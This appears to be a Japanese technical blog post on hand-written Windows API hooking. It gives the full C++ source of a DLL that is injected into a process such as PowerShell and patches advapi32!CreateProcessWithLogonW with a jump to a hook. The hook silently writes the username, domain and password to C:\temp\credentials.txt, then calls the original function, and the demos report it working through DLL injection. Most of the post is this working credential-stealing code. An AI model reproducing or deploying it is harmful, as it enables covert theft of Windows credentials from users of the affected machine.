Snoozy

1.Sleep-inducing; tedious.

メモリパッチによるAPIフックコードの実装をやってみる

メモリパッチによるAPIフックコードの実装をやってみる

今回は後学のために,FridaやMicrosoft Detoursなどの便利なライブラリやフレームワークに頼らないAPIフックコードの実装をやってみる.

フック処理を行うプログラムをDLLとして作成し,これをターゲットプロセスへDLLインジェクションで注入する. 最終的に資格情報をファイルとして出力させることを目標とする.

フック対象APIの調査

PowerShellのStart-Processコマンドレットなどのオプションに-Credentialを付けると続けて資格情報の入力を求められる.

これにより,あるプロセスを別のユーザーやドメインのセキュリティコンテキストで実行させることができる.

この動作をAPI Monitorで追ってみるとプロセスの作成にはWin32APIのCreateProcessWithLogonWを使用していることがわかる.

f:id:snoozekvn:20200229090447j:plain

MSDNによるとこのAPIのプロトタイプは次のようになっている.

BOOL CreateProcessWithLogonW(
  LPCWSTR               lpUsername,
  LPCWSTR               lpDomain,
  LPCWSTR               lpPassword,
  DWORD                 dwLogonFlags,
  LPCWSTR               lpApplicationName,
  LPWSTR                lpCommandLine,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCWSTR               lpCurrentDirectory,
  LPSTARTUPINFOW        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

このAPI冒頭数バイトを不正な関数へとジャンプする機械語へと書き換えることでフックを行う.

APIフックコードの概要

フックコードの実装は大まかに次のようにすればよいだろう.

  1. ターゲットプロセスのメモリ空間内に存在するCreateProcessWithLogonWへのアドレスの特定
  2. CreateProcessWithLogonWが見つかった場合,このAPIの先頭12バイトを不正な関数へジャンプする機械語に置き換える
  3. 不正な関数内で資格情報をインターセプト
  4. システムが正常に処理を完了できるように,インターセプトした資格情報を使って正規のCreateProcessWithLogonWを呼び出す

不正な関数では,資格情報をファイルとして書き出した上で,システムが正常に処理を完了できるように正規のCreateProcessWithLogonWを呼び出す.

CreateProcessWithLogonWAPIの特徴点

フック処理を行う前に,先んじてターゲットプロセスのメモリ空間内に存在するCreateProcessWithLogonWのアドレスを特定する必要がある.

DLLからエクスポートされている関数をフックする場合,その関数へのアドレスは関数ポインタなどを利用することによって簡単に求めることができる。

しかし今回はこの方法ではなく,特徴点となる機械語でターゲットプロセス内のメモリ空間を探索するという方針でやってみる.

まずはCreateProcessWithLogonWの特徴点となる機械語を特定する.

ここでいう特徴点とはCreateProcessWithLogonW内部だと判定できる一意な機械語のことを指す.

特徴点となる機械語の求め方はいろいろあると思うが,今回は練習もかねてWinDbgを使って求めてみる.

MSDNによると,CreateProcessWithLogonWはAdvapi32.dllからエクスポートされていることがわかる.

WinDbgで特定の関数へのアドレスを求めるには次のようにすればよい.

まずWinDbgPowerShellにアタッチし,ロードされているモジュールを列挙する.

0:026> lm
start             end                 module name
00007ff7`d2ed0000 00007ff7`d2f41000   powershell   (pdb symbols)          C:\ProgramData\Dbg\sym\powershell.pdb\D2F07EB4AF4CA8F5362A77028F6214F11\powershell.pdb
00007ff8`7e090000 00007ff8`7ed93000   Microsoft_PowerShell_Commands_Utility_ni   (deferred)             
00007ff8`7eda0000 00007ff8`80e06000   System_Management_Automation_ni   (deferred)             
00007ff8`90bc0000 00007ff8`90dda000   OpcServices   (deferred)             
00007ff8`91480000 00007ff8`9166d000   Microsoft_CSharp_ni   (deferred)             
// 省略
00007ff8`e5bc0000 00007ff8`e5c63000   ADVAPI32   (deferred)             
// 省略

続いてADVAPI32内の関数を列挙する.

0:026> x /D ADVAPI32!a*
 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

00007ff8`e5bd7294 ADVAPI32!AccProvpLoadMartaFunctions (void)
00007ff8`e5bd73e0 ADVAPI32!AccProvpGetStringFromRegistry (void)
00007ff8`e5bd52a0 ADVAPI32!AppmgmtInitialize (void)
00007ff8`e5bcc540 ADVAPI32!AllocateAndInitializeExtObject (void)
00007ff8`e5bda6dc ADVAPI32!AccProvpInitProviders (void)
// 省略

この中からCreateProcessWithLogonWを検索すればよい.

検索をかけていくと次のような出力を得る.

// 省略
00007ff8`e5bf3028 ADVAPI32!CodeAuthzpComputeImageHash (CodeAuthzpComputeImageHash)
00007ff8`e5bca434 ADVAPI32!CodeAuthzGuidIdentsLoadTableAll (CodeAuthzGuidIdentsLoadTableAll)
00007ff8`e5c028c0 ADVAPI32!CreateProcessWithLogonW (CreateProcessWithLogonW)
00007ff8`e5bdc880 ADVAPI32!CreateServiceEx (CreateServiceEx)
// 省略

これにより,CreateProcessWithLogonWはアドレス00007ff8`e5c028c0にロードされていることがわかった.

MemoryウィンドウとDisassemblyウィンドウで確認してみる.

f:id:snoozekvn:20200228055004j:plain

特徴点として選択する機械語はどこでもよいが,今回は関数先頭からの数十バイト程度を選択した.

0x4C ,0x8B ,0xDC ,0x48 ,0x83 ,0xEC ,0x68 ,0x48 ,0x8B ,0x84 ,0x24 ,0xC0 ,0x00 ,0x00 ,0x00 ,0x49 ,0x89 ,0x43 ,0xF0 ,0x48 ,0x8B ,0x84 ,0x24 ,0xB8 ,0x00 ,0x00 ,0x00 ,0x49 ,0x89 ,0x43 ,0xE8 ,0x48

試しにHxDなどでこの値を検索してみると確かに1件しかヒットせず,一意な機械語になっていることがわかる.

f:id:snoozekvn:20200228082159j:plain

これでCreateProcessWithLogonWの特徴点となる機械語が求まった.

この機械語をもとにターゲットプロセス内のメモリ空間を探索することで,パッチを当てる部分を特定する.

フック処理

メモリ空間を探索し,特徴点となる機械語がヒットしたら,次はその部分を不正な関数へとジャンプさせる機械語へと書き換える.

フック処理部分は,解説を読むよりも最初にコードを見てもらったほうが理解しやすいだろう.

void installCreateProcessWithLogonW()
{
    // 無限ループ回避用遅延
    Sleep(1000 * 2);

    // ターゲットモジュール内のイメージ領域サイズを取得
    HMODULE targetModule = GetModuleHandle(TEXT("advapi32.dll"));
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetModule;
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetModule + dosHeader->e_lfanew);
    SIZE_T sizeOfImage = ntHeader->OptionalHeader.SizeOfImage;

    // ターゲットモジュールのイメージ領域内を特徴点で探索し,CreateProcessWithLogonWのアドレスを求める
    addressOfCreateProcessWithLogonW =(LPVOID)(DWORD_PTR)GetPatternMemoryAddress((char*)targetModule, PatternCreateProcessWithLogonW, sizeof(PatternCreateProcessWithLogonW), sizeOfImage);

    // フック前の正規な機械語を保存
    std::memcpy(bytesToRestoreCreateProcessWithLogonW, addressOfCreateProcessWithLogonW, sizeof(bytesToRestoreCreateProcessWithLogonW));

    // フック処理準備 "mov rax, &hookedCreateProcessWithLogonW; jmp rax"; となるように機械語を準備する
    DWORD_PTR addressBytesOfhookedCreateProcessWithLogonW = (DWORD_PTR)&hookedCreateProcessWithLogonW;
    std::memcpy(PatchCreateProcessWithLogonW + 2, &addressBytesOfhookedCreateProcessWithLogonW, sizeof(&addressBytesOfhookedCreateProcessWithLogonW));
    std::memcpy(PatchCreateProcessWithLogonW + 2 + sizeof(&addressBytesOfhookedCreateProcessWithLogonW), (PVOID) & "\xff\xe0", 2); // jmp rax;

    // フック処理
    SIZE_T* bytesWritten = NULL;
    WriteProcessMemory(GetCurrentProcess(), addressOfCreateProcessWithLogonW, PatchCreateProcessWithLogonW, sizeof(PatchCreateProcessWithLogonW), (SIZE_T*)&bytesWritten);
}

フック前,つまりWriteProcessMemoryにより機械語が書き換えられる前が以下の画像.

f:id:snoozekvn:20200228064506j:plain

処理を進めると次の画像のように値が書き換わるのが確認できる.

f:id:snoozekvn:20200228064517j:plain

これにより,CreateProcessWithLogonWが呼び出された際に,不正な関数へとジャンプするようになった.

コード

作成したコードは以下.

#include<pch.h>
#include <iostream>
#include <stdio.h>
#include <Windows.h>
#define SECURITY_WIN32
#include <Sspi.h>
#include <ntsecapi.h>
#include <ntsecpkg.h>
#include <userenv.h>


#pragma comment(lib, "Userenv")

using _CreateProcessWithLogonW = NTSTATUS(NTAPI*)(LPCWSTR  lpUsername, LPCWSTR    lpDomain, LPCWSTR  lpPassword, DWORD  dwLogonFlags, LPCWSTR pApplicationName, LPWSTR lpCommandLine, DWORD    dwCreationFlags, LPVOID   lpEnvironment, LPCWSTR    lpCurrentDirectory, LPSTARTUPINFOW   lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);
char PatternCreateProcessWithLogonW[] = { 0x4C ,0x8B ,0xDC ,0x48 ,0x83 ,0xEC ,0x68 ,0x48 ,0x8B ,0x84 ,0x24 ,0xC0 ,0x00 ,0x00 ,0x00 ,0x49 ,0x89 ,0x43 ,0xF0 ,0x48 ,0x8B ,0x84 ,0x24 ,0xB8 ,0x00 ,0x00 ,0x00 ,0x49 ,0x89 ,0x43 ,0xE8 ,0x48 };

// mov rax, &CreateProcessWithLogonW
char PatchCreateProcessWithLogonW[12] = { 0x48, 0xb8 };
PVOID patternStartAddressOfSpAccecptedCredentials = NULL;
PVOID addressOfCreateProcessWithLogonW = NULL;
char bytesToRestoreCreateProcessWithLogonW[12] = { 0 };
void installCreateProcessWithLogonW();


PVOID GetPatternMemoryAddress(char* startAddress, char* pattern, SIZE_T patternSize, SIZE_T searchBytes)
{
    unsigned int index = 0;
    PVOID patternAddress = NULL;
    char* patternByte = 0;
    char* memoryByte = 0;

    do
    {
        if (startAddress[index] == pattern[0])
        {
            for (size_t i = 1; i < patternSize; i++)
            {
                *(char*)&patternByte = pattern[i];
                *(char*)&memoryByte = startAddress[index + i];

                if (patternByte != memoryByte)
                {
                    break;
                }

                if (i == patternSize - 1)
                {
                    patternAddress = (LPVOID)(&startAddress[index]);
                    return patternAddress;
                }
            }
        }
        ++index;
    } while (index < searchBytes);

    return (PVOID)NULL;
}

NTSTATUS NTAPI hookedCreateProcessWithLogonW(LPCWSTR  lpUsername, LPCWSTR    lpDomain, LPCWSTR  lpPassword, DWORD  dwLogonFlags, LPCWSTR pApplicationName, LPWSTR lpCommandLine, DWORD    dwCreationFlags, LPVOID   lpEnvironment, LPCWSTR    lpCurrentDirectory, LPSTARTUPINFOW   lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
{
    HANDLE file = CreateFile(TEXT("C:\\temp\\credentials.txt"), GENERIC_ALL, 0, NULL, CREATE_ALWAYS, NULL, NULL);

    //debug
    //printf("lpUsername: %ls\n", lpUsername);
    //printf("lpPassword: %ls\n", lpPassword);

    // output 
    DWORD bytesWritten = 0;
    WriteFile(file, lpUsername, lstrlen(lpUsername) * 2, &bytesWritten, NULL);
    WriteFile(file, "@", 2, &bytesWritten, NULL);
    WriteFile(file, lpDomain, lstrlen(lpDomain) * 2, &bytesWritten, NULL);
    WriteFile(file, ":", 2, &bytesWritten, NULL);
    WriteFile(file, lpPassword, lstrlen(lpPassword) * 2, &bytesWritten, NULL);
    CloseHandle(file);

    //unhook
    WriteProcessMemory(GetCurrentProcess(), addressOfCreateProcessWithLogonW, bytesToRestoreCreateProcessWithLogonW, sizeof(bytesToRestoreCreateProcessWithLogonW), NULL);

    CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)installCreateProcessWithLogonW, NULL, NULL, NULL);

    _CreateProcessWithLogonW originalCreateProcessWithLogonW = (_CreateProcessWithLogonW)addressOfCreateProcessWithLogonW;
    return originalCreateProcessWithLogonW(lpUsername, lpDomain, lpPassword, dwLogonFlags, pApplicationName, lpCommandLine, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
}

void installCreateProcessWithLogonW()
{
    Sleep(1000 * 2);
    HMODULE targetModule = GetModuleHandle(TEXT("advapi32.dll"));

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetModule;
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetModule + dosHeader->e_lfanew);
    SIZE_T sizeOfImage = ntHeader->OptionalHeader.SizeOfImage;

    patternStartAddressOfSpAccecptedCredentials = (LPVOID)(DWORD_PTR)GetPatternMemoryAddress((char*)targetModule, PatternCreateProcessWithLogonW, sizeof(PatternCreateProcessWithLogonW), sizeOfImage);
    addressOfCreateProcessWithLogonW = (LPVOID)((DWORD_PTR)patternStartAddressOfSpAccecptedCredentials);

    std::memcpy(bytesToRestoreCreateProcessWithLogonW, addressOfCreateProcessWithLogonW, sizeof(bytesToRestoreCreateProcessWithLogonW));

    // hook advapi32!CreateProcessWithLogonW  "mov rax, &hookedCreateProcessWithLogonW; jmp rax";
    DWORD_PTR addressBytesOfhookedCreateProcessWithLogonW = (DWORD_PTR)&hookedCreateProcessWithLogonW;
    std::memcpy(PatchCreateProcessWithLogonW + 2, &addressBytesOfhookedCreateProcessWithLogonW, sizeof(&addressBytesOfhookedCreateProcessWithLogonW));
    std::memcpy(PatchCreateProcessWithLogonW + 2 + sizeof(&addressBytesOfhookedCreateProcessWithLogonW), (PVOID) & "\xff\xe0", 2); // jmp rax;

    SIZE_T* bytesWritten = NULL;
    WriteProcessMemory(GetCurrentProcess(), addressOfCreateProcessWithLogonW, PatchCreateProcessWithLogonW, sizeof(PatchCreateProcessWithLogonW), (SIZE_T*)&bytesWritten);

}


BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        OutputDebugString(TEXT("=================\n"));
        installCreateProcessWithLogonW();
        OutputDebugString(TEXT("=================\n"));
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

デモ

話を単純にするため,まずは自プロセス内のCreateProcessWithLogonWをフックするプログラムを作成し,実験してみる.

正しく動作していることがわかる.

www.youtube.com

次に,DLLとしてこのプログラムを書き直し,DLLインジェクションによるリモートプロセスへの注入で正しく動作するか試してみる.

正しく動作していることがわかる.

www.youtube.com

以上.

参考

book.impress.co.jp